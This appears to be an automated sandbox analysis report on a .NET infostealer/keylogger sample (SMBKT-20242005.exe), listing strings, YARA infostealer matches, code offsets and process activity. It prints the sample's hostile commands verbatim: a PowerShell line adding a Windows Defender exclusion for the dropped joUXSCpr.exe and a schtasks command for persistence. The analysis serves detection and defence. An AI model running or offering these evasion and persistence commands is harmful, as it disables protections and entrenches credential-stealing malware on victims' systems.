Source: RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: SMBKT-20242005.exe, joUXSCpr.exe.1.dr	String found in binary or memory: https://t3.ftcdn.net/jpg/02/48/42/64/360_F_248426448_NVKLywWqArG2ADUxDq6QprtIzsF82dMF.jpgG
Source: SMBKT-20242005.exe, joUXSCpr.exe.1.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.9:49713 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, gmBpn1ecBmQ.cs

.Net Code: bBjS

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SMBKT-20242005.exe.3e57898.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: SMBKT-20242005.exe, Marca.cs

Large array initialization: : array initializer size 683637

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_0137DFAC	1_2_0137DFAC
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE31D0	1_2_04DE31D0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE92D0	1_2_04DE92D0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE2D38	1_2_04DE2D38
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE7418	1_2_04DE7418
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE0040	1_2_04DE0040
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE0007	1_2_04DE0007
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE315D	1_2_04DE315D
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE3148	1_2_04DE3148
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE92C0	1_2_04DE92C0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE43F8	1_2_04DE43F8
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE8D10	1_2_04DE8D10
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE2D29	1_2_04DE2D29
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE8D20	1_2_04DE8D20
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE9E51	1_2_04DE9E51
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DE9E60	1_2_04DE9E60
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DF80D9	1_2_04DF80D9
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DFA458	1_2_04DFA458
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DF0478	1_2_04DF0478
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DF2628	1_2_04DF2628
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DF0040	1_2_04DF0040
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_04DF08B0	1_2_04DF08B0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9B840	1_2_08E9B840
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9A948	1_2_08E9A948
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E92558	1_2_08E92558
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9DEB0	1_2_08E9DEB0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E99FE8	1_2_08E99FE8
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E997B0	1_2_08E997B0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9D888	1_2_08E9D888
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9D879	1_2_08E9D879
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9B828	1_2_08E9B828
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9B830	1_2_08E9B830
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9A939	1_2_08E9A939
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9DA61	1_2_08E9DA61
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9DA70	1_2_08E9DA70
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9D211	1_2_08E9D211
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9D4E9	1_2_08E9D4E9
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9DCCD	1_2_08E9DCCD
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9DCD0	1_2_08E9DCD0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9A468	1_2_08E9A468
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E98C48	1_2_08E98C48
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E98C58	1_2_08E98C58
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E92552	1_2_08E92552
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9DEA0	1_2_08E9DEA0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9C680	1_2_08E9C680
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9C670	1_2_08E9C670
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E99FD8	1_2_08E99FD8
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E997A0	1_2_08E997A0
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_08E9F768	1_2_08E9F768
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0149E3A8	8_2_0149E3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01494AB8	8_2_01494AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01493EA0	8_2_01493EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_014941E8	8_2_014941E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB6658	8_2_06BB6658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB5650	8_2_06BB5650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BBB292	8_2_06BBB292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BBC1F0	8_2_06BBC1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB3110	8_2_06BB3110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB7DE0	8_2_06BB7DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB7700	8_2_06BB7700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BBE410	8_2_06BBE410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB0040	8_2_06BB0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB5D4B	8_2_06BB5D4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06BB0006	8_2_06BB0006
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_02A3DFAC	9_2_02A3DFAC
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA31D0	9_2_04CA31D0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA92D0	9_2_04CA92D0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA2D29	9_2_04CA2D29
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA4408	9_2_04CA4408
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA7418	9_2_04CA7418
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA7428	9_2_04CA7428
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA6534	9_2_04CA6534
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA0040	9_2_04CA0040
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA0015	9_2_04CA0015
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA3148	9_2_04CA3148
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA315D	9_2_04CA315D
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA92C0	9_2_04CA92C0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA43F8	9_2_04CA43F8
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA8D10	9_2_04CA8D10
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA8D20	9_2_04CA8D20
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA9E51	9_2_04CA9E51
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CA9E60	9_2_04CA9E60
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB7370	9_2_04CB7370
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB0478	9_2_04CB0478
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB96E0	9_2_04CB96E0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB2628	9_2_04CB2628
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB0040	9_2_04CB0040
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_051E8A60	9_2_051E8A60
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_051E0006	9_2_051E0006
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_051E0040	9_2_051E0040
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_05392558	9_2_05392558
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_053997B0	9_2_053997B0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_05399FD8	9_2_05399FD8
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539DEA0	9_2_0539DEA0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539A939	9_2_0539A939
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539B840	9_2_0539B840
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_05392548	9_2_05392548
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539A46C	9_2_0539A46C
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_05398C48	9_2_05398C48
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539D4E9	9_2_0539D4E9
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539DCD0	9_2_0539DCD0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539DCCD	9_2_0539DCCD
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_05399721	9_2_05399721
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539F768	9_2_0539F768
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539B7AD	9_2_0539B7AD
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539C670	9_2_0539C670
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_053996B0	9_2_053996B0
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539C680	9_2_0539C680
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539D879	9_2_0539D879
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539D888	9_2_0539D888
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539DA70	9_2_0539DA70
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_0539DA61	9_2_0539DA61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0300A288	15_2_0300A288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0300E6B8	15_2_0300E6B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_0300AA50	15_2_0300AA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_03004AB8	15_2_03004AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_03003EA0	15_2_03003EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_030041E8	15_2_030041E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B05650	15_2_06B05650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B06658	15_2_06B06658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B02428	15_2_06B02428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B07DE0	15_2_06B07DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B0B2A0	15_2_06B0B2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B0C1F0	15_2_06B0C1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B07700	15_2_06B07700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B0E410	15_2_06B0E410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B05D60	15_2_06B05D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B00040	15_2_06B00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_06B00006	15_2_06B00006

Source: SMBKT-20242005.exe

Static PE information: invalid certificate

Source: SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003FFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1465713140.00000000076C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1461356615.0000000002DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename459505ed-14a8-4c14-90e3-7a9b2c02174b.exe4 vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1460354065.000000000104E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1465224388.00000000073CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename459505ed-14a8-4c14-90e3-7a9b2c02174b.exe4 vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe, 00000001.00000002.1465010804.0000000007260000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs SMBKT-20242005.exe
Source: SMBKT-20242005.exe	Binary or memory string: OriginalFilenameoaJU.exe( vs SMBKT-20242005.exe

Source: SMBKT-20242005.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SMBKT-20242005.exe.3e57898.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: SMBKT-20242005.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: joUXSCpr.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, MOpw42XW44bQchxYdQ.cs	Security API names: _0020.SetAccessControl
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, MOpw42XW44bQchxYdQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, MOpw42XW44bQchxYdQ.cs	Security API names: _0020.AddAccessRule
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, RVSMvvC2GPKFxIWs0H.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, RVSMvvC2GPKFxIWs0H.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, MOpw42XW44bQchxYdQ.cs	Security API names: _0020.SetAccessControl
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, MOpw42XW44bQchxYdQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, MOpw42XW44bQchxYdQ.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/11@2/2

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

File created: C:\Users\user\AppData\Roaming\joUXSCpr.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Mutant created: \Sessions\1\BaseNamedObjects\WDHZBnHORSqPpNIwDQyWox
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

File created: C:\Users\user\AppData\Local\Temp\tmp6AB.tmp

Jump to behavior

Source: SMBKT-20242005.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SMBKT-20242005.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SMBKT-20242005.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

File read: C:\Users\user\Desktop\SMBKT-20242005.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SMBKT-20242005.exe "C:\Users\user\Desktop\SMBKT-20242005.exe"
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\joUXSCpr.exe C:\Users\user\AppData\Roaming\joUXSCpr.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
